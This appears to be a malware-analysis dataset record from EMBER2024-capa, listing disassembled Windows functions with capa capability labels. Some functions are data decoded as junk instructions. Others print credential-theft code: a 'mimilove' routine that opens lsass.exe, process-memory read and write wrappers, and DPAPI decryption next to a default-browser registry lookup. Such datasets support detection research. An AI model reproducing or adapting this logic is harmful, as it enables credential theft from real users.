joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004e754
Capabilities:
Encode data using xor

Disassembly:
cmp eax, 0x66325fa3
in eax, dx
xor ah, byte [rsi - 0x13]
sbb eax, 0x85abe268
in eax, dx
add dword [rcx], esi
add dword [rbp - 0x73def66b], esp
nop
jl 0x14004e758
mov bh, 0x93
pop rsi
cmpsb byte [rsi], byte [rdi]
invalid

Function at 0x140054a5c
Capabilities:
Encode data using xor

Disassembly:
jo 0x140054a4e
insd dword [rdi], dx
loope 0x140054a43
int3
or eax, 0xa6a679c9
invalid
invalid
add dh, al
pop rsp
out 0xa, al
and eax, 0xe9e9c976
test byte [rdx + 0x48], 0xd1
mov dl, 7
rol dword [rdx + rsi*4 + 7], 1
mov ecx, 0x124f2a03
insd dword [rdi], dx
cdq
xor al, 0xc
xchg esi, eax
js 0x140054a69
je 0x140054a32
xchg ebx, eax
add dword [rbp - 0x50faea9b], ebp
cli
in eax, dx
test eax, 0xa41e6261
pop rsp
cwde
invalid

Function at 0x14005708c
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
movabs byte [0xd31af348719b3b8d], al
jl 0x14005702f
pop rbx
sub eax, 0x31253653
mov edi, 0x2c597a02
scasb al, byte [rdi]
invalid

Function at 0x140068554
Capabilities:
Encode data using xor

Disassembly:
push rsi
movabs eax, dword [0x5c75de800430ae18]
mov ecx, 0x3f79fb7e
cmpsd dword [rsi], dword [rdi]
fst dword [rdi - 0x34]
xor al, 0xc8
lodsb al, byte [rsi]
sbb eax, dword [rsi + 0x2852729f]
jmp 0x11b80d3c1
add ch, cl
and bh, cl
or rax, 0xffffffffd6f6fd80
xchg edx, eax
cmp eax, 0xa8b853bd
invalid
test al, 0x60
mov eax, 0xf9f560a8
fdivr qword [rdx + rdi*4 + 0x70eb2b76]
or eax, 0x560fe8eb
insb byte [rdi], dx
js 0x140068546
jge 0x140068504
jo 0x140068548
scasb al, byte [rdi]
mov dword [rbx], esp
mov al, 0xea
sbb ecx, dword [rbp - 0xa00e10f]
int 0x91
push 0xffffffffd6e3c894
mov ch, 0x83
sbb dword [rbx - 0x294fca9e], edx
adc dword [rdi + riz - 8], ecx
clc
xor ah, byte [rsi]
xor dword [rax + 0x71], eax
int1
push 0xffffffffffffff8a
mov byte [rdx], dh
jrcxz 0x14006858a
mov dword [rcx + 0x2f], edx
stosb byte [rdi], al
mov esp, 0x2292d3d9
iretd
Function at 0x14007aa20
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov eax, 0x52e4fa74
mov dword [rsp + 0x78], 0x840152
mov word [rsp + 0x6c], 0x2ab0
mov qword [rsp + 0x60], 0x6a769e9a
mov dword [rsp + 0x5c], 0x52e4fa74
mov r9d, dword [rsp + 0x78]
imul r10d, r9d, 0x508bb3c6
mov dword [rsp + 0x78], r10d
mov r11w, word [rsp + 0x6c]
mov si, r11w
and si, 0x993
mov word [rsp + 0x6e], si
mov si, r11w
add si, 0xfca2
mov rdi, qword [rsp + 0x70]
mov rbx, rdi
xor rbx, 0x30b84f19
mov qword [rsp + 0x70], rbx
mov word [rsp + 0x4e], si
mov r10d, dword [rsp + 0x5c]
mov si, r11w
xor si, 0xffff
mov word [rsp + 0x6e], si
sub eax, r10d
cmp r8d, eax
mov qword [rsp + 0x20], rdx
mov dword [rsp + 0x1c], r8d
mov qword [rsp + 0x10], rcx
mov qword [rsp + 8], rdi
mov dword [rsp + 4], r9d
mov word [rsp + 2], r11w
je 0x14007acb4
jmp 0x14007ac77
lea rax, [0x140088fe2]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffbece9712
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x60]
add r8, 0xffffffffd67e906f
xor rdx, 0x6a09c784
mov dword [rsp + 0x78], 0x11564423
mov r9w, word [rsp + 0x4e]
mov r10, qword [rsp + 0x60]
mov word [rsp + 0x6e], 0x9df3
xor r10, 0x6a769e95
mov r11d, dword [rsp + 4]
mov dword [rsp + 0x78], r11d
mov word [rsp + 0x36], r9w
xor r11d, 0x2532f2fe
mov rsi, qword [rsp + 0x38]
mov dword [rsp + 0x78], r11d
and rsi, r10
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 8]
xor rcx, 0x1787917f
mov qword [rsp + 0x70], rcx
mov r9w, word [rsp + 2]
sub r9w, r9w
mov rcx, qword [rsp + 0x28]
mov word [rsp + 0x6e], r9w
mov bl, byte [rsp + 0x7f]
xor bl, 0xff
mov byte [rsp + 0x7f], bl
mov bl, byte [rax + rsi]
mov byte [rsp + 0x5b], bl
mov qword [rsp + 0x70], 0x763bfb1
mov qword [rsp + 0x50], r8
cmp rdx, rcx
je 0x14007aad8
jmp 0x14007ac4a
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov dl, byte [rcx + rax]
mov r8b, byte [rsp + 0x5b]
mov rax, qword [rsp + 0x60]
xor rax, 0x6a769e9b
mov word [rsp + 0x6e], 0x2074
mov r9, qword [rsp + 0x38]
sub dl, r8b
mov r10w, word [rsp + 2]
and r10w, 0x4baa
mov word [rsp + 0x6e], r10w
mov r11, qword [rsp + 0x10]
mov byte [r11 + r9], dl
mov r9, qword [rsp + 8]
xor r9, 0x3c35a189
mov qword [rsp + 0x70], r9
add rax, qword [rsp + 0x38]
add eax, dword [rsp + 0x38]
mov dword [rsp + 0x78], 0x8b627bb0
mov r9, qword [rsp + 0x40]
mov dl, byte [rsp + 0x7f]
or dl, byte [rsp + 0x7f]
mov byte [rsp + 0x7f], dl
mov r10w, word [rsp + 2]
add r10w, 0xd46b
mov word [rsp + 0x6e], r10w
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x78], 0x1ce96fa5
cmp rax, r9
je 0x14007acb4
jmp 0x14007aad8
mov ax, word [rsp + 2]
or ax, 0xe359
mov cx, word [rsp + 0x6c]
add cx, 0xcfd0
mov word [rsp + 0x6e], ax
mov ax, word [rsp + 0x36]
mov word [rsp + 0x6e], 0x5175
cmp cx, ax
ja 0x14007abab
mov rax, qword [rsp + 0x60]
add rax, 0xffffffff95896166
mov ecx, dword [rsp + 4]
imul edx, ecx, 0x7cb77c2a
mov r8d, dword [rsp + 0x1c]
mov r9d, r8d
mov r10d, r9d
mov dword [rsp + 0x78], edx
mov qword [rsp + 0x40], r10
mov r10, qword [rsp + 8]
mov qword [rsp + 0x70], r10
mov qword [rsp + 0x50], rax
jmp 0x14007aad8
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x18023bca9
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffff862a9e01
call fcn.180216926
lea rsp, [rsp + 0x10]
jmp fcn.18021ba42
push 0xffffffffb82f5107
push 0x5d80b702
mov r11, qword [rsp + 0x10]
lea rsp, [rsp + 0x18]
not r10d
mov dword [rsi], r10d
jmp 0x18021c5da
lea rsp, [rsp + 0x10]
je 0x180234e8e
mov eax, 0xf43643a9
push r11
bt ax, ax
lea rax, [rax + rax*4 + 0x1b329731]
movsx r11d, al
lea rax, [0x18022c448]
mov r11d, 0x84095534
ror r11d, 0x19
movzx r11d, byte [rdi + r11 - 0x4aa9a42]
push 0xffffffffd4888ab3
xor r11d, r10d
sal byte [rsp + 4], 0x64
rol word [rsp + 2], 0xe2
and r11d, 0xff
push 0x12a8dd8f
mov r11d, dword [rax + r11*4]
push 0x7f1b4e15
neg qword [rsp + 0x10]
shr r10d, 8
not dword [rsp + 0x10]
neg qword [rsp + 0xf]
push 0x2bb9823e
xor r10d, r11d
neg byte [rsp + 0xb]
rol byte [rsp + 5], 0xa5
shr word [rsp + 6], 0xca
inc rdi
xor r10d, 0x89b2b30b
dec rcx
lea rsp, [rsp + 0x20]
jne 0x18023bcd2
jmp 0x180234e7a
Function at 0x14000109c
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], r8
push rbp
push rsi
push rdi
sub rsp, 0x50
xor ebx, ebx
lea rax, [0x140020be0]
mov rdi, rdx
mov qword [r11 - 0x28], rbx
mov rdx, qword [rcx + 8]
mov rsi, rcx
mov qword [r11 - 0x20], rax
mov rbp, r8
mov ecx, dword [rdx]
test ecx, ecx
je 0x1400011e5
sub ecx, 1
je 0x14000116e
sub ecx, 2
je 0x140001143
cmp ecx, 3
jne 0x1400012bb
mov rax, qword [rdi + 8]
cmp dword [rax], ebx
jne 0x140001193
cmp qword [rsi], rbx
je 0x14000111b
mov rcx, qword [rdx + 8]
xor r9d, r9d
mov edx, dword [rsi]
xor r8d, r8d
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x1400012bb
mov rax, qword [rsi + 8]
lea r9, [rsp + 0x70]
mov rdx, qword [rdi]
mov r8d, ebp
mov qword [rsp + 0x20], rbx
mov rcx, qword [rax + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
jmp 0x1400012bb
mov rax, qword [rdi + 8]
cmp dword [rax], ebx
jne 0x140001193
mov rcx, qword [rdx + 8]
mov r9d, ebp
mov edx, 0x22c187
mov qword [rsp + 0x28], rbx
mov r8, qword [rdi]
mov rcx, qword [rcx]
mov qword [rsp + 0x20], rsi
call section..text
jmp 0x14000113c
mov rax, qword [rdi + 8]
cmp dword [rax], ebx
jne 0x140001193
mov rcx, qword [rdx + 8]
mov r9, rbp
mov r8, qword [rdi]
mov rdx, qword [rsi]
mov qword [rsp + 0x20], rbx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x14000113c
mov rdx, rbp
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400012bb
mov r8, rbp
lea rcx, [rsp + 0x40]
mov rdx, rdi
call fcn.14000109c
test eax, eax
je 0x1400011d5
mov r8, rbp
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.14000109c
mov ebx, eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400012bb
mov rdx, qword [rdi + 8]
mov ecx, dword [rdx]
test ecx, ecx
je 0x1400012ab
sub ecx, 1
je 0x14000128b
sub ecx, 1
je 0x140001271
sub ecx, 1
je 0x140001253
cmp ecx, 3
jne 0x1400012bb
mov rcx, qword [rdx + 8]
xor r9d, r9d
mov edx, dword [rdi]
xor r8d, r8d
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x1400012bb
mov rax, qword [rdi + 8]
lea r9, [rsp + 0x70]
mov rdx, qword [rsi]
mov r8d, ebp
mov qword [rsp + 0x20], rbx
mov rcx, qword [rax + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x14000113c
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov edx, 0x22c183
jmp 0x14000115c
mov rcx, qword [rdx + 8]
mov r9, rbp
mov r8, qword [rdi]
mov rdx, qword [rsi]
mov rcx, qword [rcx]
call fcn.14000148c
jmp 0x14000113c
mov rcx, qword [rdx + 8]
mov r9, rbp
mov r8, qword [rsi]
mov rdx, qword [rdi]
mov qword [rsp + 0x20], rbx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
jmp 0x14000113c
mov rdx, qword [rdi]
mov rcx, qword [rsi]
call fcn.1400046e0
mov ebx, 1
mov eax, ebx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001718
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
mov dword [rax + 0x18], r8d
push rdi
sub rsp, 0x20
mov rsi, rdx
mov ebp, ecx
mov rdx, qword [rdx]
mov ebx, 0xc0000004
test rdx, rdx
je 0x140001753
lea r9, [rax + 0x18]
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ebx, eax
jmp 0x140001799
mov edi, 0x1000
mov edx, edi
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsi], rax
test rax, rax
je 0x140001799
lea r9, [rsp + 0x40]
mov r8d, edi
mov rdx, rax
mov ecx, ebp
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ebx, eax
test eax, eax
jns 0x14000178f
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_LocalFree]
add edi, edi
cmp ebx, 0xc0000004
je 0x140001758
mov rbp, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14000228c
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x70]
sub rsp, 0x170
lea rcx, str._n__..___mimilove_1.0_built_on_Oct_23_2024_20:17:29_n_.__.___Love_edition__3__n___________n________gweeperx_gweep__MSOffice_____gweeperx___n__v____http:__blog.MSOffice.com_windows______________oe.eo__n______Windows_2000_only____________________________________n_n
call fcn.140001680
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x110
call fcn.140003f70
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x140002460
cmp dword [rsp + 0x54], 5
jne 0x140002452
cmp dword [rsp + 0x58], 0
jne 0x140002452
and dword [rsp + 0x30], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, str.lsass.exe
lea rax, [rbp + 0xa0]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rax
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
and qword [rbp + 0xa8], 0
lea rdx, [rbp + 0xa8]
mov ecx, 5
call fcn.140001718
test eax, eax
js 0x140002474
mov rdi, qword [rbp + 0xa8]
mov rbx, rdi
mov rcx, rdi
jmp 0x140002359
cmp dword [rbx], 0
je 0x140002367
mov eax, dword [rbx]
add rbx, rax
mov rcx, rbx
lea rdx, [rsp + 0x20]
call fcn.1400017b0
test eax, eax
jne 0x14000234c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [rsp + 0x30], 0
je 0x140002474
mov r8d, dword [rbp + 0xa0]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140002443
mov edx, 0x10
lea esi, [rdx + 0x30]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140002438
lea edx, [rsi - 0x38]
mov dword [rax], 1
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbx + 8], rax
test rax, rax
je 0x14000242f
mov rcx, rbx
mov qword [rax], rdi
call fcn.14000252c
mov rcx, rbx
call fcn.140002bd4
mov ecx, dword [rbx]
sub ecx, 1
je 0x140002425
sub ecx, 1
je 0x1400023fc
sub ecx, 1
je 0x140002425
cmp ecx, 3
jne 0x14000242f
jmp 0x140002425
mov rax, qword [rbx + 8]
test rax, rax
je 0x14000242f
mov rsi, qword [rax]
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x140002417
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rsi]
test rcx, rcx
je 0x140002425
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002474
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_wmain___OpenProcess__0x_08x__n
jmp 0x14000246d
lea rcx, str.ERROR_wmain___Only_for_Windows_2000_n
call fcn.140001680
jmp 0x140002474
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_wmain___GetVersionEx__0x_08x__n
mov edx, eax
call fcn.140001680
mov rbx, qword [rsp + 0x190]
xor eax, eax
add rsp, 0x170
pop rdi
pop rsi
pop rbp
ret

Function at 0x140007878
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400075dc
Function at 0x140003c90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003cda
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003cda
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003cda
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003cda
cmp dword [rcx + 0x84], 0xe
jbe 0x140003cda
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003cdc
xor al, al
add rsp, 0x28
ret
Function at 0x1407c7058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407c71df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407c7089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407c706f
add dl, dl
jne 0x1407c7096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407c70f6
xor eax, eax
add dl, dl
jne 0x1407c70a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407c71ad
add dl, dl
jne 0x1407c70b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407c70c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407c70d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407c70dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407c70ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407c707e
mov eax, 1
add dl, dl
jne 0x1407c7106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407c7113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407c70fb
sub eax, ebx
mov ebx, 1
jne 0x1407c714c
mov ecx, 1
add dl, dl
jne 0x1407c712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407c713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407c7123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407c707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407c7168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407c7175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407c715d
cmp eax, 0x7d00
jae 0x1407c719b
cmp eax, 0x500
jb 0x1407c7196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407c707e
cmp eax, 0x7f
ja 0x1407c719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407c707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407c71d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407c707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1401bf100]
mov dword [rax], 1
mov rax, qword [0x1401bf110]
mov dword [rax], 1
mov rax, qword [0x1401bf120]
mov dword [rax], 1
mov rax, qword [0x1401bf0b0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400015e0
Capabilities:
Get common file path

Disassembly:
push rbp
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x28
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
not eax
shr eax, 0x1f
test al, al
je 0x140001667
lea rax, [rbp + 0xbe]
mov qword [rbp + 0xc8], rax
nop
nop
lea rcx, [rbp + 0xbe]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xf0]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0xbe]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
jmp 0x1400016e4
lea rax, [rbp + 0xbf]
mov qword [rbp + 0xc0], rax
nop
nop
lea rdx, [rbp + 0xbf]
mov rax, qword [rbp + 0xf0]
mov r8, rdx
lea rdx, [section..rdata]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0xbf]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
jmp 0x1400016e4
mov rax, qword [rbp + 0xf0]
add rsp, 0x158
pop rbx
pop rbp
ret
Function at 0x1400016f5
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x178
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x110], rcx
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rax, str.SoftwareMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoice
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
setne al
test al, al
je 0x14000178c
lea rax, [rbp + 0xd5]
mov qword [rbp + 0xe8], rax
nop
nop
lea rdx, [rbp + 0xd5]
mov rax, qword [rbp + 0x110]
mov r8, rdx
lea rdx, [section..rdata]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0xd5]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
jmp 0x1400018d6
mov dword [rbp - 0x44], 0x100
mov rax, qword [rbp + 0xc8]
lea rdx, [rbp - 0x44]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.ProgId
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
setne al
test al, al
je 0x14000182b
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0xd6]
mov qword [rbp + 0xe0], rax
nop
nop
lea rdx, [rbp + 0xd6]
mov rax, qword [rbp + 0x110]
mov r8, rdx
lea rdx, [section..rdata]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0xd6]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
jmp 0x1400018d6
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0xd7]
mov qword [rbp + 0xd8], rax
nop
nop
lea rcx, [rbp + 0xd7]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x110]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0xd7]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
jmp 0x1400018d6
mov rax, qword [rbp + 0x110]
add rsp, 0x178
pop rbx
pop rbp
ret
Function at 0x140001976
Capabilities:
Encrypt data using dpapi

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0xa0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x28]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::data() const
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::size() const
mov dword [rbp - 0x30], eax
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
call rax
test eax, eax
setne al
test al, al
je 0x140001a57
lea rax, [rbp - 0x12]
mov qword [rbp - 8], rax
nop
nop
mov eax, dword [rbp - 0x40]
mov r8d, eax
mov rdx, qword [rbp - 0x38]
lea rcx, [rbp - 0x12]
lea rax, [rbp - 0x60]
mov r9, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__unsigned_long_long__std::allocator_char__const_
lea rax, [rbp - 0x12]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001ad9
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
lea rdx, [rbp - 0x11]
mov rax, qword [rbp + 0x20]
mov r8, rdx
lea rdx, [section..rdata]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp - 0x11]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
jmp 0x140001ad9
mov rax, qword [rbp + 0x20]
add rsp, 0xa8
pop rbx
pop rbp
ret